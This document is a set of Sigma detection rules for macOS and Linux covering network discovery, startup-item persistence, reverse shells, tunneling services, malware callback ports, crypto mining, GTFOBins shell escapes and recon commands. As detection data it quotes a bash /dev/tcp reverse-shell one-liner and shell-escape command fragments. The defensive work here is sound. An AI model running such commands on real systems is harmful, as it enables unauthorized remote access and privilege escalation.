description: Detects enumeration of local network configuration
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
author: remotephone, oscd.community
date: 2020-10-06
modified: 2024-08-29
tags:
    - attack.discovery
    - attack.t1016
logsource:
    product: macos
    category: process_creation
detection:
    selection_1:
        Image|endswith:
            - '/arp'
            - '/ifconfig'
            - '/netstat'
            - '/networksetup'
            - '/socketfilterfw'
    selection_2:
        Image: '/usr/bin/defaults'
        CommandLine|contains|all:
            - '/Library/Preferences/com.apple.alf'
            - 'read'
    filter_main_wifivelocityd:
        ParentImage|endswith: '/wifivelocityd'
    condition: 1 of selection_* and not 1 of filter_main_*
falsepositives:
    - Legitimate administration activities
level: informational

title: Remote Access Tool - Team Viewer Session Started On MacOS Host
id: f459ccb4-9805-41ea-b5b2-55e279e2424a
related:
    - id: ab70c354-d9ac-4e11-bbb6-ec8e3b153357
      type: similar
    - id: 1f6b8cd4-3e60-47cc-b282-5aa1cbc9182d
      type: similar
status: test
description: |
    Detects the command line executed when TeamViewer starts a session started by a remote host.
    Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.
references:
    - Internal Research
author: Josh Nickels, Qi Nan
date: 2024-03-11
tags:
    - attack.persistence
    - attack.initial-access
    - attack.t1133
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        ParentImage|endswith: '/TeamViewer_Service'
        Image|endswith: '/TeamViewer_Desktop'
        CommandLine|endswith: '/TeamViewer_Desktop --IPCport 5939 --Module 1'
    condition: selection
falsepositives:
    - Legitimate usage of TeamViewer
level: low

title: Startup Item File Created - MacOS
id: dfe8b941-4e54-4242-b674-6b613d521962
status: test
description: |
    Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence.
    Adversaries may use startup items automatically executed at boot initialization to establish persistence.
    Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md
    - https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
author: Alejandro Ortuno, oscd.community
date: 2020-10-14
modified: 2024-08-11
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1037.005
logsource:
    category: file_event
    product: macos
detection:
    selection:
        TargetFilename|startswith:
            - '/Library/StartupItems/'
            - '/System/Library/StartupItems'
        TargetFilename|endswith: '.plist'
    condition: selection
falsepositives:
    - Legitimate administration activities
level: low

title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

title: Communication To LocaltoNet Tunneling Service Initiated - Linux
id: c4568f5d-131f-4e78-83d4-45b2da0ec4f1
status: test
description: |
    Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains.
    LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.
    Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.
references:
    - https://localtonet.com/documents/supported-tunnels
    - https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
author: Andreas Braathen (mnemonic.io)
date: 2024-06-17
tags:
    - attack.command-and-control
    - attack.t1572
    - attack.t1090
    - attack.t1102
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        DestinationHostname|endswith:
            - '.localto.net'
            - '.localtonet.com'
        Initiated: 'true'
    condition: selection
falsepositives:
    - Legitimate use of the LocaltoNet service.
level: high

title: Potentially Suspicious Malware Callback Communication - Linux
id: dbfc7c98-04ab-4ab7-aa94-c74d22aa7376
related:
    - id: 4b89abaa-99fe-4232-afdd-8f9aa4d20382
      type: derived
status: test
description: |
    Detects programs that connect to known malware callback ports based on threat intelligence reports.
references:
    - https://www.mandiant.com/resources/blog/triton-actor-ttp-profile-custom-attack-tools-detections
    - https://www.mandiant.com/resources/blog/ukraine-and-sandworm-team
    - https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html
    - https://thehackernews.com/2024/01/systembc-malwares-c2-server-analysis.html
    - https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
author: hasselj
date: 2024-05-10
tags:
    - attack.persistence
    - attack.command-and-control
    - attack.t1571
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        Initiated: 'true'
        DestinationPort:
            - 888
            - 999
            - 2200
            - 2222
            - 4000
            - 4444
            - 6789
            - 8531
            - 50501
            - 51820
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'         # IPv6 loopback
            - 'fe80::/10'       # IPv6 link-local addresses
            - 'fc00::/7'        # IPv6 private addresses
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Linux Crypto Mining Pool Connections
id: a46c93b7-55ed-4d27-a41b-c259456c4746
status: stable
description: Detects process connections to a Monero crypto mining pool
references:
    - https://www.poolwatch.io/coin/monero
author: Florian Roth (Nextron Systems)
date: 2021-10-26
tags:
    - attack.impact
    - attack.t1496
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        DestinationHostname:
            - 'pool.minexmr.com'
            - 'fr.minexmr.com'
            - 'de.minexmr.com'
            - 'sg.minexmr.com'
            - 'ca.minexmr.com'
            - 'us-west.minexmr.com'
            - 'pool.supportxmr.com'
            - 'mine.c3pool.com'
            - 'xmr-eu1.nanopool.org'
            - 'xmr-eu2.nanopool.org'
            - 'xmr-us-east1.nanopool.org'
            - 'xmr-us-west1.nanopool.org'
            - 'xmr-asia1.nanopool.org'
            - 'xmr-jp1.nanopool.org'
            - 'xmr-au1.nanopool.org'
            - 'xmr.2miners.com'
            - 'xmr.hashcity.org'
            - 'xmr.f2pool.com'
            - 'xmrpool.eu'
            - 'pool.hashvault.pro'
            - 'moneroocean.stream'
            - 'monerocean.stream'
    condition: selection
falsepositives:
    - Legitimate use of crypto miners
level: high

title: Communication To Ngrok Tunneling Service - Linux
id: 19bf6fdb-7721-4f3d-867f-53467f6a5db6
status: test
description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
references:
    - https://twitter.com/hakluke/status/1587733971814977537/photo/1
    - https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
author: Florian Roth (Nextron Systems)
date: 2022-11-03
tags:
    - attack.exfiltration
    - attack.command-and-control
    - attack.t1567
    - attack.t1568.002
    - attack.t1572
    - attack.t1090
    - attack.t1102
    - attack.s0508
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        DestinationHostname|contains:
            - 'tunnel.us.ngrok.com'
            - 'tunnel.eu.ngrok.com'
            - 'tunnel.ap.ngrok.com'
            - 'tunnel.au.ngrok.com'
            - 'tunnel.sa.ngrok.com'
            - 'tunnel.jp.ngrok.com'
            - 'tunnel.in.ngrok.com'
    condition: selection
falsepositives:
    - Legitimate use of ngrok
level: high

title: Linux Crypto Mining Indicators
id: 9069ea3c-b213-4c52-be13-86506a227ab1
status: test
description: Detects command line parameters or strings often used by crypto miners
references:
    - https://www.poolwatch.io/coin/monero
author: Florian Roth (Nextron Systems)
date: 2021-10-26
modified: 2022-12-25
tags:
    - attack.impact
    - attack.t1496
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - ' --cpu-priority='
            - '--donate-level=0'
            - ' -o pool.'
            - ' --nicehash'
            - ' --algo=rx/0 '
            - 'stratum+tcp://'
            - 'stratum+udp://'
            # Sub process started by xmrig - the most popular Monero crypto miner - unknown if this causes any false positives
            - 'sh -c /sbin/modprobe msr allow_writes=on'
            # base64 encoded: --donate-level=
            - 'LS1kb25hdGUtbGV2ZWw9'
            - '0tZG9uYXRlLWxldmVsP'
            - 'tLWRvbmF0ZS1sZXZlbD'
            # base64 encoded: stratum+tcp:// and stratum+udp://
            - 'c3RyYXR1bSt0Y3A6Ly'
            - 'N0cmF0dW0rdGNwOi8v'
            - 'zdHJhdHVtK3RjcDovL'
            - 'c3RyYXR1bSt1ZHA6Ly'
            - 'N0cmF0dW0rdWRwOi8v'
            - 'zdHJhdHVtK3VkcDovL'
    condition: selection
falsepositives:
    - Legitimate use of crypto miners
level: high

title: Shell Execution GCC  - Linux
id: 9b5de532-a757-4d70-946c-1f3e44f48b4d
status: test
description: |
    Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/gcc/#shell
    - https://gtfobins.github.io/gtfobins/c89/#shell
    - https://gtfobins.github.io/gtfobins/c99/#shell
    - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - '/c89'
            - '/c99'
            - '/gcc'
        CommandLine|contains: '-wrapper'
    selection_cli:
        CommandLine|contains:
            - '/bin/bash,-s'
            - '/bin/dash,-s'
            - '/bin/fish,-s'
            - '/bin/sh,-s'
            - '/bin/zsh,-s'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Shell Execution via Rsync - Linux
id: e2326866-609f-4015-aea9-7ec634e8aa04
status: experimental
description: |
    Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/rsync/#shell
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.), Florian Roth
date: 2024-09-02
modified: 2025-01-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - '/rsync'
            - '/rsyncd'
        CommandLine|contains: ' -e '
    selection_cli:
        CommandLine|contains:
            - '/ash '
            - '/bash '
            - '/dash '
            - '/csh '
            - '/sh '
            - '/zsh '
            - '/tcsh '
            - '/ksh '
            - "'ash "
            - "'bash "
            - "'dash "
            - "'csh "
            - "'sh "
            - "'zsh "
            - "'tcsh "
            - "'ksh "
    condition: all of selection_*
falsepositives:
    - Legitimate cases in which "rsync" is used to execute a shell
level: high

title: Shell Execution via Git - Linux
id: 47b3bbd4-1bf7-48cc-84ab-995362aaa75a
status: test
description: |
    Detects the use of the "git" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/git/#shell
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/git'
        ParentCommandLine|contains|all:
            - ' -p '
            - 'help'
        CommandLine|contains:
            - 'bash 0<&1'
            - 'dash 0<&1'
            - 'sh 0<&1'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Capsh Shell Invocation - Linux
id: db1ac3be-f606-4e3a-89e0-9607cbe6b98a
status: test
description: |
    Detects the use of the "capsh" utility to invoke a shell.
references:
    - https://gtfobins.github.io/gtfobins/capsh/#shell
    - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/capsh'
        CommandLine|endswith: ' --'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Shell Execution via Find - Linux
id: 6adfbf8f-52be-4444-9bac-81b539624146
status: test
description: |
    Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.
references:
    - https://gtfobins.github.io/gtfobins/find/#shell
    - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '/find'
        CommandLine|contains|all:
            - ' . '
            - '-exec'
    selection_cli:
        CommandLine|contains:
            - '/bin/bash'
            - '/bin/dash'
            - '/bin/fish'
            - '/bin/sh'
            - '/bin/zsh'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Shell Execution via Flock - Linux
id: 4b09c71e-4269-4111-9cdd-107d8867f0cc
status: test
description: |
    Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/flock/#shell
    - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '/flock'
        CommandLine|contains: ' -u '
    selection_cli:
        CommandLine|contains:
            - '/bin/bash'
            - '/bin/dash'
            - '/bin/fish'
            - '/bin/sh'
            - '/bin/zsh'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Suspicious Invocation of Shell via AWK - Linux
id: 8c1a5675-cb85-452f-a298-b01b22a51856
status: test
description: |
    Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function.
    This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
references:
    - https://gtfobins.github.io/gtfobins/awk/#shell
    - https://gtfobins.github.io/gtfobins/gawk/#shell
    - https://gtfobins.github.io/gtfobins/nawk/#shell
    - https://gtfobins.github.io/gtfobins/mawk/#shell
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - '/awk'
            - '/gawk'
            - '/mawk'
            - '/nawk'
        CommandLine|contains: 'BEGIN {system'
    selection_cli:
        CommandLine|contains:
            - '/bin/bash'
            - '/bin/dash'
            - '/bin/fish'
            - '/bin/sh'
            - '/bin/zsh'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Python One-Liners with Base64 Decoding - Linux
id: 55e862a8-dd9c-4651-807a-f21fcad56716
related:
    - id: 50a0aa3d-ab16-4594-a8aa-5145a6e6792b
      type: similar
status: experimental
description: |
    Detects the use of Python's base64 decoding functions in command line executions on Linux systems.
    Malicious scripts often use python one-liners to decode and execute base64-encoded payloads, which is a common technique for obfuscation and evasion.
references:
    - https://docs.python.org/3/library/base64.html
    - https://www.virustotal.com/gui/file/bc43e925d7b4b74319f6e74e836a96f1997ba404e14ac566cf12a21e9da463db/behavior
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
author: Hugh Ryan (HueCodes), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-03-09
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.006
    - attack.t1027.010
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|contains: '/python'
    selection_cli:
        CommandLine|contains|all:
            - 'import'
            - 'base64'
            - ' -c'
        CommandLine|contains:
            - '.decode'
            - 'b16decode'
            - 'b32decode'
            - 'b32hexdecode'
            - 'b64decode'
            - 'b85decode'
            - 'z85decode'
    condition: all of selection_*
falsepositives:
    - Legitimate use of Python for decoding data, which is uncommon in typical enterprise environments but possible in development or data analysis contexts.
level: high

title: Linux Recon Indicators
id: 0cf7a157-8879-41a2-8f55-388dd23746b7
status: test
description: Detects events with patterns found in commands used for reconnaissance on linux systems
references:
    - https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py
author: Florian Roth (Nextron Systems)
date: 2022-06-20
tags:
    - attack.reconnaissance
    - attack.t1592.004
    - attack.credential-access
    - attack.t1552.001
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - ' -name .htpasswd'
            - ' -perm -4000 '
    condition: selection
falsepositives:
    - Legitimate administration activities
level: high